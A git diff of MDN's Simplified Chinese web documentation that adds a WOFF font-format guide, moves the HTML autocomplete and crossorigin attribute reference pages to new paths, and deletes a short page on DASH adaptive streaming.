diff --git a/files/zh-cn/web/guide/woff/index.html b/files/zh-cn/web/guide/woff/index.html new file mode 100644 index 0000000000..a91795c672 --- /dev/null +++ b/files/zh-cn/web/guide/woff/index.html @@ -0,0 +1,61 @@ +--- +title: 网页开放字体格式(WOFF) +slug: WOFF +tags: + - WOFF + - 字体 +translation_of: Web/Guide/WOFF +--- +

WOFF(网页开放字体格式) 是由 Mozilla 与 Type Supply, LettError 及其他组织协同开发的一种新的网页字体格式。它使用了一种压缩版本,类似于 TrueType, OpenType, Open Font 所采用的 SFNT 结构,不过还添加了共用数据及用户私有数据结构,其中包括了自定义空间,其允许厂家和经销商提供许可证。

+ +

WOFF 有以下三点优势:

+ +
    +
  1. 字体采用压缩格式,相对于使用不压缩的 TrueType, OpenType 的网站,将占用更少的带宽,获得更快的加载速度。
  2. +
  3. 许多字体经销商并不愿意将 TrueType 或 OpenType 的许可证颁发给网站,他们更愿意颁发 WOFF 的许可证。这对于网站开发者来说将是一个福音。
  4. +
  5. 无论是收费还是免费的浏览器厂家都喜欢 WOFF 格式,因此它很可能成为未来的主流与跨平台字体格式。
  6. +
+ +

使用 WOFF

+ +

通过 {{ cssxref("@font-face") }} 这个 CSS 属性来为你的网站使用 WOFF 字体。它的工作方式与 OpenType 和 TrueType 十分相似,除了因使用压缩技术而使你的内容更快地加载。

+ +

相关工具

+ + + +

文档

+ + + + + + + + + + + + + + + + + + + + + +
文档状态注释
{{SpecName('WOFF2.0', '', '')}}{{Spec2('WOFF2.0')}}新压缩算法
{{SpecName('WOFF1.0', '', '')}}{{Spec2('WOFF1.0')}}原始规格
+ +

浏览器兼容

+ +

{{Compat("css.at-rules.font-face")}}

+ +

参见

+ +
    +
  • {{ cssxref("@font-face") }} 
  • +
diff --git a/files/zh-cn/web/html/attributes/autocomplete/index.html b/files/zh-cn/web/html/attributes/autocomplete/index.html new file mode 100644 index 0000000000..af7452c6f7 --- /dev/null +++ b/files/zh-cn/web/html/attributes/autocomplete/index.html @@ -0,0 +1,258 @@ +--- +title: The HTML 自动完成属性 +slug: Web/HTML/Attributes/自动完成属性 +tags: + - HTML + - 参考 + - 地址 + - 密码 + - 属性 + - 用户名 + - 电话号码 + - 自动完成 + - 邮件地址 +translation_of: Web/HTML/Attributes/autocomplete +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

HTML autocomplete 属性可用于以文本或数字值作为输入的 {{HTMLElement("input")}} 元素 , {{HTMLElement("textarea")}} 元素, {{HTMLElement("select")}} 元素, 和{{HTMLElement("form")}} 元素。 autocomplete 允许web开发人员指定,如果有任何权限 {{Glossary("user agent")}} 必须提供填写表单字段值的自动帮助,并为浏览器提供关于字段中所期望的信息类型的指导。

+ +

建议值的来源通常取决于浏览器。 通常,值来自用户输入的过去值,但它们也可能来自预先配置的值。 例如,浏览器可能允许用户保存其姓名,地址,电话号码和电子邮件地址,以实现自动完成目的。 也许浏览器提供了保存加密的信用卡信息的功能,以便在身份验证过程后自动完成。

+ +

如果 {{HTMLElement("input")}}, {{HTMLElement("select")}} 或{{HTMLElement("textarea")}} 元素 没有 autocomplete 属性, t则该浏览器将使用该元素的表单的 autocomplete 属性所有者,它们可是元素的后代 {{HTMLElement("form")}} 元素 也可以是其  id  由元素{{htmlattrxref("form", "input")}} 属性指定的  <form>

+ +

有关更多信息,请参见 {{HTMLElement("form")}} 中的{{htmlattrxref("autocomplete", "form")}}  属性。

+ +
+

为了提供自动完成功能,用户代理可能需要<input>/<select>/<textarea> 元素才能:

+ +
    +
  1. 具有 name 和/或 id 属性
  2. +
  3. 成为 <form>  的后代
  4. +
  5. 具有 {{HTMLElement("input/submit", "submit")}} 按钮的表单
  6. +
+
+ +

价值

+ +
+
"off"
+
浏览器不允许为此字段自动输入或选择一个值。 文档或应用程序可能提供其自己的自动完成功能,或者出于安全方面的考虑,要求不要自动输入该字段的值。 +
注意: 在大多数现代浏览器中, autocomplete 设置为 "off" 不会阻止密码管理器询问用户是否要保存用户名和密码信息,或者自动在网站的登录表单中填写这些值。 请参阅 the autocomplete attribute and login fields.
+
+
"on"
+
允许浏览器自动完成输入。 没有提供有关该字段中期望的数据类型的指导,因此浏览器可以使用自己的判断。
+
"name"
+
该字段期望该值是一个人的全名。 通常首选使用“名称”而不是将名称分解为各个组成部分,因为这样可以避免处理各种各样的人类名称及其结构。 但是,如果需要将名称分解为各个组成部分,则可以使用以下自动完成值: +
+
"honorific-prefix"
+
前缀或标题,例如“ Mrs.”,“ Mr.”,“ Miss”,“ Ms.”,“ Dr.”或“ Mlle.”。
+
"given-name"
+
给定的(或“名字”)名称。
+
"additional-name"
+
中间名。
+
"family-name"
+
姓氏(或“姓氏”)。
+
"honorific-suffix"
+
后缀,例如 "Jr.", "B.Sc.", "PhD.", "MBASW", or "IV".
+
"nickname"
+
昵称或名称。
+
+
+
"email"
+
电子邮件地址。
+
"username"
+
用户名或帐户名。
+
"new-password"
+
新密码。 创建新帐户或更改密码时,应将其用于“输入新密码”或“确认新密码”字段,而不是通常出现的“输入当前密码”字段。 浏览器可以使用它来避免意外填写现有密码,并在创建安全密码时提供帮助(另请参见 Preventing autofilling with autocomplete="new-password").
+
"current-password"
+
用户的当前密码
+
"one-time-code"
+
用于验证用户身份的一次性代码。
+
"organization-title"
+
职务或组织内某人的职务,例如“高级技术作家”,“总裁”或“助理部队负责人”。
+
"organization"
+
公司或组织名称,例如“ Acme Widget Company”或“ American Girl Scouts of America”。
+
"street-address"
+
街道地址。 它可以是多行文本,应在第二个行政级别(通常是城市或城镇)内完全标识地址的位置,但不应包括城市名称,邮政编码或邮政编码或国家/地区名称。
+
"address-line1", "address-line2", "address-line3"
+
街道地址的每一行。 仅在还存在 "street-address" 的情况下,才应提供这些内容。.
+
"address-level4"
+
在具有四个级别的地址中,粒度最细的 {{anch("Administrative levels in addresses", "administrative level")}}。
+
"address-level3"
+
第三个 {{anch("Administrative levels in addresses", "administrative level")}}, 在具有至少三个管理级别的地址中。
+
"address-level2"
+
第二个 {{anch("Administrative levels in addresses", "administrative level")}}, 在地址中至少有两个。 在具有两个行政级别的国家/地区中,通常是地址所在的城市,城镇,村庄或其他地区。
+
"address-level1"
+
地址中的第一个 {{anch("Administrative levels in addresses", "administrative level")}} 。 通常是地址所在的省份。 在美国,这就是州。 在瑞士,行政区。 在英国,小镇。
+ “国家”
+
"country"
+
国家代码。
+
"country-name"
+
一个国家的名字。
+
"postal-code"
+
邮政编码(在美国,这是邮政编码)。
+
"cc-name"
+
打印在付款工具(例如信用卡)上或与之关联的全名。 通常,使用全名字段比将名称分成多个部分更可取。
+
"cc-given-name"
+
在信用卡之类的付款工具上给出的给定(名字)名称。
+
"cc-additional-name"
+
付款工具或信用卡上的中间名。
+
"cc-family-name"
+
信用卡上的姓氏。
+
"cc-number"
+
信用卡号码或其他标识付款方式的号码,例如帐号。
+
"cc-exp"
+
付款方式的到期日期,通常为“ 月份 / 年份”或“ 月份 / 年份”形式。
+
"cc-exp-month"
+
付款方式到期的月份。
+
"cc-exp-year"
+
付款方式到期的年份。.
+
"cc-csc"
+
付款工具的安全码; 在信用卡上,这是信用卡背面的3位数验证码。
+
"cc-type"
+
付款方式的类型(例如“ Visa”或“ Master Card”)。
+
"transaction-currency"
+
进行交易的货币。
+
"transaction-amount"
+
以 "transaction-currency" 指定的货币表示的金额,用于支付形式。
+
"language"
+
作为有效的 BCP 47 语言标记提供的首选语言。
+
"bday"
+
出生日期,作为完整日期。
+
"bday-day"
+
出生日期的月份中的一天。
+
"bday-month"
+
出生日期的月份。
+
"bday-year"
+
出生日期的年份。
+
"sex"
+
性别身份(例如“女性”,“法法芬”,“男性”),不带换行符的自由格式文本。
+
"tel"
+
+

完整的电话号码,包括国家/地区代码。 如果您需要将电话号码分为几个部分,则可以将以下值用于这些字段:

+ +
+
"tel-country-code"
+
国家/地区代码,例如美国,加拿大和北美其他地区以及加勒比海部分地区的“ 1”。
+
"tel-national"
+
不含国家/地区代码部分的完整电话号码,包括国家/地区内部前缀。 对于电话号码“ 1-855-555-6502”,该字段的值为“ 855-555-6502”。
+
"tel-area-code"
+
区号,如果适用,可应用任何国家或地区内部前缀。
+
"tel-local"
+
不带国家或地区代码的电话号码。 这可以进一步分为两部分,分别是具有交换号码的电话号码,然后是交换局中的号码。 对于电话号码“ 555-6502”, 对于“ 555”使用 "tel-local-prefix" ,对于"6502"使用  "tel-local-suffix" 。
+
+
+
"tel-extension"
+
电话号码中的电话分机代码,例如旅馆中的房间或套房号或公司中的办公室分机号。
+
"impp"
+
即时消息协议端点的URL,例如“ xmpp:username@example.net”。
+
"url"
+
URL,例如在给定表单中其他字段的上下文的情况下的主页或公司网站地址等。
+
"photo"
+
代表表单中其他字段中提供的个人,公司或联系信息的图像的URL。
+
+ +

有关更多详细信息,请参见 WHATWG 标准。 

+ +
+

注意: 与其他浏览器不同, autocomplete 属性还控制Firefox是否会跨页面加载保持— 是否在整个页面加载期间保持  <input> 元素, <textarea> 元素, 或整个 <form> 的动态禁用状态和(如果适用)动态检查状态。 持久性功能默认情况下处于启用状态。 将 autocomplete 属性的值设置为off 将禁用此功能。即使autocomplete 属性通常由于其type而不适用,也可以这样做。 参考 {{bug(654072)}}.

+
+ +

例子

+ +
<div>
+  <label for="cc-number">Enter your credit card number</label>
+  <input type="number" name="cc-number" id="cc-number" autocomplete="off">
+</div>
+ +

地址的行政级别

+ +

四个行政级别字段 (address-level1 到 address-level4) 以提高地址所在国家内的精确度的方式描述地址。每个国家都有自己的行政级别系统,在写地址时可以按不同的顺序排列。

+ +

address-level1 始终代表最广泛的行政区划;它是地址中除国家名之外最不特定的部分。

+ +

表单布局的灵活性

+ +

鉴于不同的国家/地区以不同的方式写出地址,每个字段都位于地址内的不同位置,甚至完全是不同的字段集和数量,因此,如果可能的话,您的站点能够切换到预期的布局会很有帮助 由您的用户在提供地址输入表格时给出,并给出地址所在的国家/地区。

+ +

变化

+ +

每个行政级别的使用方式因国家/地区而异。 以下是一些示例; 这并不是详尽的清单。

+ +

美国

+ +

美国境内的典型家庭住址如下所示:

+ +

大街432号
+ Exampleville CA 95555

+ +

在美国,地址中最不明确的部分是州,在这种情况下为“ CA”(美国邮政服务的正式缩写为“ California”)。 因此,address-level1 是状态,在这种情况下为“ CA”。

+ +

地址的倒数第二个特定部分是城市或城镇名称,因此在此示例地址中, address-level2 为“ Exampleville”。

+ +

美国地址不使用3级及更高级别。

+ +

英国

+ +

在英国,地址输入表单通常包含两个地址级别以及一个,两个或三个地址行,具体取决于地址。 完整的地址如下所示:

+ +

Frogmarch街103号
+ 上层包装
+ 苏塞克斯
+ TN99 8ZZ

+ +

地址级别为:

+ +
    +
  • address-level1: 在这种情况下,该县为“苏塞克斯”。
  • +
  • address-level2: 在这种情况下,城镇为“上层包装”。.
  • +
  • address-line1: 房屋/街道详情-“ Frogmarch 街道103号”
  • +
+ +

邮政编码是分开的。 请注意,您实际上可以仅使用邮政编码和 address-line1 在英国成功发送邮件, 因此它们应该是唯一的必填项,但通常人们会提供更多详细信息。

+ +

中国

+ +

中国可以使用多达三个行政级别:省,市和区。

+ +

技术指标

+ + + + + + + + + + + + + + + + + + + + + +
规格状态评论
{{SpecName('HTML5.2', "sec-forms.html#autofilling-form-controls-the-autocomplete-attribute", "autocomplete")}}{{Spec2('HTML5.2')}}
{{SpecName('HTML WHATWG', "form-control-infrastructure.html#autofilling-form-controls:-the-autocomplete-attribute", "autocomplete")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("html.global_attributes.autocomplete")}}

+ +

另请详见

+ +
    +
  • The {{htmlelement("input")}} 元素。
  • +
  • The {{htmlelement("select")}} 元素。
  • +
  • The {{htmlelement("textarea")}} 元素。
  • +
  • The {{htmlelement("form")}} 元素。
  • +
  • HTML 表单
  • +
  • 全球属性
  • +
diff --git a/files/zh-cn/web/html/attributes/crossorigin/index.html b/files/zh-cn/web/html/attributes/crossorigin/index.html new file mode 100644 index 0000000000..9beb44e652 --- /dev/null +++ b/files/zh-cn/web/html/attributes/crossorigin/index.html @@ -0,0 +1,155 @@ +--- +title: CORS settings attributes +slug: Web/HTML/CORS_settings_attributes +tags: + - Advanced + - CORS + - HTML5 + - Security + - anonymous + - cdn + - crossorigin= + - img &video + - script &link +translation_of: Web/HTML/Attributes/crossorigin +--- +

在HTML5中,一些 HTML 元素提供了对 CORS 的支持, 例如 {{ HTMLElement("audio") }}、{{ HTMLElement("img") }}、{{ HTMLElement("link") }}、{{ HTMLElement("script") }} 和 {{ HTMLElement("video") }} 均有一个跨域属性 (crossOrigin property),它允许你配置元素获取数据的 CORS 请求。 

+ +

The crossorigin content attribute on media elements is a CORS settings attribute.

+ +

这些属性是枚举的,并具有以下可能的值:

+ + + + + + + + + + + + + + + + + + + + +
关键字描述
anonymous对此元素的 CORS 请求将不设置凭据标志。
use-credentials对此元素的CORS请求将设置凭证标志;这意味着请求将提供凭据。
""设置一个空的值,如 crossorigincrossorigin="",和设置 anonymous 的效果一样。
+ +

默认情况下(即未指定 crossOrigin 属性时),CORS 根本不会使用。如 Terminology section of the CORS specification 中的描述,在非同源情况下,设置 "anonymous" 关键字将不会通过 cookies,客户端 SSL 证书或 HTTP 认证交换用户凭据。

+ +

即使是无效的关键字和空字符串也会被当作 anonymous 关键字使用。

+ +

示例:使用 crossorigin 的 script 元素

+ +

你可以使用下面的 {{HTMLElement("script")}} 元素告诉浏览器执行来自 https://example.com/example-framework.js 的脚本且不发送用户凭据。

+ +
<script src="https://example.com/example-framework.js" crossorigin="anonymous"></script>
+ +

示例:Webmanifest with credentials

+ +

在获取需要用户凭据的 manifest 时,属性值必须设置为 use-credentials。即使是同源的情况。

+ +
<link rel="manifest" href="/app.webmanifest" crossorigin="use-credentials">
+ +

Specifications

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'infrastructure.html#cors-settings-attributes', 'CORS settings attributes')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML WHATWG', 'embedded-content.html#attr-img-crossorigin', 'crossorigin')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support13{{ CompatGeckoDesktop("8.0") }}11{{ CompatNo() }}{{ CompatVersionUnknown() }}
{{ HTMLElement("video")}}{{ CompatUnknown() }}{{ CompatGeckoDesktop("12.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("8.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatVersionUnknown() }}
{{ HTMLElement("video")}}{{ CompatUnknown() }}{{ CompatGeckoMobile("12.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

另请参阅

+ + diff --git "a/files/zh-cn/web/html/attributes/\350\207\252\345\212\250\345\256\214\346\210\220\345\261\236\346\200\247/index.html" "b/files/zh-cn/web/html/attributes/\350\207\252\345\212\250\345\256\214\346\210\220\345\261\236\346\200\247/index.html" deleted file mode 100644 index af7452c6f7..0000000000 --- "a/files/zh-cn/web/html/attributes/\350\207\252\345\212\250\345\256\214\346\210\220\345\261\236\346\200\247/index.html" +++ /dev/null @@ -1,258 +0,0 @@ ---- -title: The HTML 自动完成属性 -slug: Web/HTML/Attributes/自动完成属性 -tags: - - HTML - - 参考 - - 地址 - - 密码 - - 属性 - - 用户名 - - 电话号码 - - 自动完成 - - 邮件地址 -translation_of: Web/HTML/Attributes/autocomplete ---- -
{{HTMLSidebar("Global_attributes")}}
- -

HTML autocomplete 属性可用于以文本或数字值作为输入的 {{HTMLElement("input")}} 元素 , {{HTMLElement("textarea")}} 元素, {{HTMLElement("select")}} 元素, 和{{HTMLElement("form")}} 元素。 autocomplete 允许web开发人员指定,如果有任何权限 {{Glossary("user agent")}} 必须提供填写表单字段值的自动帮助,并为浏览器提供关于字段中所期望的信息类型的指导。

- -

建议值的来源通常取决于浏览器。 通常,值来自用户输入的过去值,但它们也可能来自预先配置的值。 例如,浏览器可能允许用户保存其姓名,地址,电话号码和电子邮件地址,以实现自动完成目的。 也许浏览器提供了保存加密的信用卡信息的功能,以便在身份验证过程后自动完成。

- -

如果 {{HTMLElement("input")}}, {{HTMLElement("select")}} 或{{HTMLElement("textarea")}} 元素 没有 autocomplete 属性, t则该浏览器将使用该元素的表单的 autocomplete 属性所有者,它们可是元素的后代 {{HTMLElement("form")}} 元素 也可以是其  id  由元素{{htmlattrxref("form", "input")}} 属性指定的  <form>

- -

有关更多信息,请参见 {{HTMLElement("form")}} 中的{{htmlattrxref("autocomplete", "form")}}  属性。

- -
-

为了提供自动完成功能,用户代理可能需要<input>/<select>/<textarea> 元素才能:

- -
    -
  1. 具有 name 和/或 id 属性
  2. -
  3. 成为 <form>  的后代
  4. -
  5. 具有 {{HTMLElement("input/submit", "submit")}} 按钮的表单
  6. -
-
- -

价值

- -
-
"off"
-
浏览器不允许为此字段自动输入或选择一个值。 文档或应用程序可能提供其自己的自动完成功能,或者出于安全方面的考虑,要求不要自动输入该字段的值。 -
注意: 在大多数现代浏览器中, autocomplete 设置为 "off" 不会阻止密码管理器询问用户是否要保存用户名和密码信息,或者自动在网站的登录表单中填写这些值。 请参阅 the autocomplete attribute and login fields.
-
-
"on"
-
允许浏览器自动完成输入。 没有提供有关该字段中期望的数据类型的指导,因此浏览器可以使用自己的判断。
-
"name"
-
该字段期望该值是一个人的全名。 通常首选使用“名称”而不是将名称分解为各个组成部分,因为这样可以避免处理各种各样的人类名称及其结构。 但是,如果需要将名称分解为各个组成部分,则可以使用以下自动完成值: -
-
"honorific-prefix"
-
前缀或标题,例如“ Mrs.”,“ Mr.”,“ Miss”,“ Ms.”,“ Dr.”或“ Mlle.”。
-
"given-name"
-
给定的(或“名字”)名称。
-
"additional-name"
-
中间名。
-
"family-name"
-
姓氏(或“姓氏”)。
-
"honorific-suffix"
-
后缀,例如 "Jr.", "B.Sc.", "PhD.", "MBASW", or "IV".
-
"nickname"
-
昵称或名称。
-
-
-
"email"
-
电子邮件地址。
-
"username"
-
用户名或帐户名。
-
"new-password"
-
新密码。 创建新帐户或更改密码时,应将其用于“输入新密码”或“确认新密码”字段,而不是通常出现的“输入当前密码”字段。 浏览器可以使用它来避免意外填写现有密码,并在创建安全密码时提供帮助(另请参见 Preventing autofilling with autocomplete="new-password").
-
"current-password"
-
用户的当前密码
-
"one-time-code"
-
用于验证用户身份的一次性代码。
-
"organization-title"
-
职务或组织内某人的职务,例如“高级技术作家”,“总裁”或“助理部队负责人”。
-
"organization"
-
公司或组织名称,例如“ Acme Widget Company”或“ American Girl Scouts of America”。
-
"street-address"
-
街道地址。 它可以是多行文本,应在第二个行政级别(通常是城市或城镇)内完全标识地址的位置,但不应包括城市名称,邮政编码或邮政编码或国家/地区名称。
-
"address-line1", "address-line2", "address-line3"
-
街道地址的每一行。 仅在还存在 "street-address" 的情况下,才应提供这些内容。.
-
"address-level4"
-
在具有四个级别的地址中,粒度最细的 {{anch("Administrative levels in addresses", "administrative level")}}。
-
"address-level3"
-
第三个 {{anch("Administrative levels in addresses", "administrative level")}}, 在具有至少三个管理级别的地址中。
-
"address-level2"
-
第二个 {{anch("Administrative levels in addresses", "administrative level")}}, 在地址中至少有两个。 在具有两个行政级别的国家/地区中,通常是地址所在的城市,城镇,村庄或其他地区。
-
"address-level1"
-
地址中的第一个 {{anch("Administrative levels in addresses", "administrative level")}} 。 通常是地址所在的省份。 在美国,这就是州。 在瑞士,行政区。 在英国,小镇。
- “国家”
-
"country"
-
国家代码。
-
"country-name"
-
一个国家的名字。
-
"postal-code"
-
邮政编码(在美国,这是邮政编码)。
-
"cc-name"
-
打印在付款工具(例如信用卡)上或与之关联的全名。 通常,使用全名字段比将名称分成多个部分更可取。
-
"cc-given-name"
-
在信用卡之类的付款工具上给出的给定(名字)名称。
-
"cc-additional-name"
-
付款工具或信用卡上的中间名。
-
"cc-family-name"
-
信用卡上的姓氏。
-
"cc-number"
-
信用卡号码或其他标识付款方式的号码,例如帐号。
-
"cc-exp"
-
付款方式的到期日期,通常为“ 月份 / 年份”或“ 月份 / 年份”形式。
-
"cc-exp-month"
-
付款方式到期的月份。
-
"cc-exp-year"
-
付款方式到期的年份。.
-
"cc-csc"
-
付款工具的安全码; 在信用卡上,这是信用卡背面的3位数验证码。
-
"cc-type"
-
付款方式的类型(例如“ Visa”或“ Master Card”)。
-
"transaction-currency"
-
进行交易的货币。
-
"transaction-amount"
-
以 "transaction-currency" 指定的货币表示的金额,用于支付形式。
-
"language"
-
作为有效的 BCP 47 语言标记提供的首选语言。
-
"bday"
-
出生日期,作为完整日期。
-
"bday-day"
-
出生日期的月份中的一天。
-
"bday-month"
-
出生日期的月份。
-
"bday-year"
-
出生日期的年份。
-
"sex"
-
性别身份(例如“女性”,“法法芬”,“男性”),不带换行符的自由格式文本。
-
"tel"
-
-

完整的电话号码,包括国家/地区代码。 如果您需要将电话号码分为几个部分,则可以将以下值用于这些字段:

- -
-
"tel-country-code"
-
国家/地区代码,例如美国,加拿大和北美其他地区以及加勒比海部分地区的“ 1”。
-
"tel-national"
-
不含国家/地区代码部分的完整电话号码,包括国家/地区内部前缀。 对于电话号码“ 1-855-555-6502”,该字段的值为“ 855-555-6502”。
-
"tel-area-code"
-
区号,如果适用,可应用任何国家或地区内部前缀。
-
"tel-local"
-
不带国家或地区代码的电话号码。 这可以进一步分为两部分,分别是具有交换号码的电话号码,然后是交换局中的号码。 对于电话号码“ 555-6502”, 对于“ 555”使用 "tel-local-prefix" ,对于"6502"使用  "tel-local-suffix" 。
-
-
-
"tel-extension"
-
电话号码中的电话分机代码,例如旅馆中的房间或套房号或公司中的办公室分机号。
-
"impp"
-
即时消息协议端点的URL,例如“ xmpp:username@example.net”。
-
"url"
-
URL,例如在给定表单中其他字段的上下文的情况下的主页或公司网站地址等。
-
"photo"
-
代表表单中其他字段中提供的个人,公司或联系信息的图像的URL。
-
- -

有关更多详细信息,请参见 WHATWG 标准。 

- -
-

注意: 与其他浏览器不同, autocomplete 属性还控制Firefox是否会跨页面加载保持— 是否在整个页面加载期间保持  <input> 元素, <textarea> 元素, 或整个 <form> 的动态禁用状态和(如果适用)动态检查状态。 持久性功能默认情况下处于启用状态。 将 autocomplete 属性的值设置为off 将禁用此功能。即使autocomplete 属性通常由于其type而不适用,也可以这样做。 参考 {{bug(654072)}}.

-
- -

例子

- -
<div>
-  <label for="cc-number">Enter your credit card number</label>
-  <input type="number" name="cc-number" id="cc-number" autocomplete="off">
-</div>
- -

地址的行政级别

- -

四个行政级别字段 (address-level1 到 address-level4) 以提高地址所在国家内的精确度的方式描述地址。每个国家都有自己的行政级别系统,在写地址时可以按不同的顺序排列。

- -

address-level1 始终代表最广泛的行政区划;它是地址中除国家名之外最不特定的部分。

- -

表单布局的灵活性

- -

鉴于不同的国家/地区以不同的方式写出地址,每个字段都位于地址内的不同位置,甚至完全是不同的字段集和数量,因此,如果可能的话,您的站点能够切换到预期的布局会很有帮助 由您的用户在提供地址输入表格时给出,并给出地址所在的国家/地区。

- -

变化

- -

每个行政级别的使用方式因国家/地区而异。 以下是一些示例; 这并不是详尽的清单。

- -

美国

- -

美国境内的典型家庭住址如下所示:

- -

大街432号
- Exampleville CA 95555

- -

在美国,地址中最不明确的部分是州,在这种情况下为“ CA”(美国邮政服务的正式缩写为“ California”)。 因此,address-level1 是状态,在这种情况下为“ CA”。

- -

地址的倒数第二个特定部分是城市或城镇名称,因此在此示例地址中, address-level2 为“ Exampleville”。

- -

美国地址不使用3级及更高级别。

- -

英国

- -

在英国,地址输入表单通常包含两个地址级别以及一个,两个或三个地址行,具体取决于地址。 完整的地址如下所示:

- -

Frogmarch街103号
- 上层包装
- 苏塞克斯
- TN99 8ZZ

- -

地址级别为:

- -
    -
  • address-level1: 在这种情况下,该县为“苏塞克斯”。
  • -
  • address-level2: 在这种情况下,城镇为“上层包装”。.
  • -
  • address-line1: 房屋/街道详情-“ Frogmarch 街道103号”
  • -
- -

邮政编码是分开的。 请注意,您实际上可以仅使用邮政编码和 address-line1 在英国成功发送邮件, 因此它们应该是唯一的必填项,但通常人们会提供更多详细信息。

- -

中国

- -

中国可以使用多达三个行政级别:省,市和区。

- -

技术指标

- - - - - - - - - - - - - - - - - - - - - -
规格状态评论
{{SpecName('HTML5.2', "sec-forms.html#autofilling-form-controls-the-autocomplete-attribute", "autocomplete")}}{{Spec2('HTML5.2')}}
{{SpecName('HTML WHATWG', "form-control-infrastructure.html#autofilling-form-controls:-the-autocomplete-attribute", "autocomplete")}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容性

- - - -

{{Compat("html.global_attributes.autocomplete")}}

- -

另请详见

- -
    -
  • The {{htmlelement("input")}} 元素。
  • -
  • The {{htmlelement("select")}} 元素。
  • -
  • The {{htmlelement("textarea")}} 元素。
  • -
  • The {{htmlelement("form")}} 元素。
  • -
  • HTML 表单
  • -
  • 全球属性
  • -
diff --git a/files/zh-cn/web/html/cors_settings_attributes/index.html b/files/zh-cn/web/html/cors_settings_attributes/index.html deleted file mode 100644 index 9beb44e652..0000000000 --- a/files/zh-cn/web/html/cors_settings_attributes/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: CORS settings attributes -slug: Web/HTML/CORS_settings_attributes -tags: - - Advanced - - CORS - - HTML5 - - Security - - anonymous - - cdn - - crossorigin= - - img &video - - script &link -translation_of: Web/HTML/Attributes/crossorigin ---- -

在HTML5中,一些 HTML 元素提供了对 CORS 的支持, 例如 {{ HTMLElement("audio") }}、{{ HTMLElement("img") }}、{{ HTMLElement("link") }}、{{ HTMLElement("script") }} 和 {{ HTMLElement("video") }} 均有一个跨域属性 (crossOrigin property),它允许你配置元素获取数据的 CORS 请求。 

- -

The crossorigin content attribute on media elements is a CORS settings attribute.

- -

这些属性是枚举的,并具有以下可能的值:

- - - - - - - - - - - - - - - - - - - - -
关键字描述
anonymous对此元素的 CORS 请求将不设置凭据标志。
use-credentials对此元素的CORS请求将设置凭证标志;这意味着请求将提供凭据。
""设置一个空的值,如 crossorigincrossorigin="",和设置 anonymous 的效果一样。
- -

默认情况下(即未指定 crossOrigin 属性时),CORS 根本不会使用。如 Terminology section of the CORS specification 中的描述,在非同源情况下,设置 "anonymous" 关键字将不会通过 cookies,客户端 SSL 证书或 HTTP 认证交换用户凭据。

- -

即使是无效的关键字和空字符串也会被当作 anonymous 关键字使用。

- -

示例:使用 crossorigin 的 script 元素

- -

你可以使用下面的 {{HTMLElement("script")}} 元素告诉浏览器执行来自 https://example.com/example-framework.js 的脚本且不发送用户凭据。

- -
<script src="https://example.com/example-framework.js" crossorigin="anonymous"></script>
- -

示例:Webmanifest with credentials

- -

在获取需要用户凭据的 manifest 时,属性值必须设置为 use-credentials。即使是同源的情况。

- -
<link rel="manifest" href="/app.webmanifest" crossorigin="use-credentials">
- -

Specifications

- -

规范

- - - - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', 'infrastructure.html#cors-settings-attributes', 'CORS settings attributes')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML WHATWG', 'embedded-content.html#attr-img-crossorigin', 'crossorigin')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support13{{ CompatGeckoDesktop("8.0") }}11{{ CompatNo() }}{{ CompatVersionUnknown() }}
{{ HTMLElement("video")}}{{ CompatUnknown() }}{{ CompatGeckoDesktop("12.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("8.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatVersionUnknown() }}
{{ HTMLElement("video")}}{{ CompatUnknown() }}{{ CompatGeckoMobile("12.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

另请参阅

- - diff --git a/files/zh-cn/web/html/dash_adaptive_streaming_for_html_5_video/index.html b/files/zh-cn/web/html/dash_adaptive_streaming_for_html_5_video/index.html deleted file mode 100644 index aed7160371..0000000000 --- a/files/zh-cn/web/html/dash_adaptive_streaming_for_html_5_video/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: 为 HTML 5 视频提供的 DASH 自适应串流 -slug: Web/HTML/DASH_Adaptive_Streaming_for_HTML_5_Video -tags: - - DASH - - HTML - - HTML5 - - 指南 - - 视频流 -translation_of: Web/Media/DASH_Adaptive_Streaming_for_HTML_5_Video ---- -

经由 HTTP 的动态自适应串流(DASH)是一种自适应串流协议。 这意味着它使得视频串流能基于网络性能来调整比特率,以保证视频流畅播放。

- -

浏览器支持

- -

Firefox 21 包含了针对 HTM5 WebM 视频的 DASH 实现,但默认没有启用。可以通过在“about:config”里调整“media.dash.enabled”首选项来开启。

- -

Firefox 23 移除了针对 HTML5 WebM 视频的 DASH 实现。此功能将被 媒体源扩展 API(MSE) 的实现取代。MSE 可实现通过 JavaScript 库(例如 dash.js)来提供对 DASH 的支持。详情参见 Bug 778617

- -

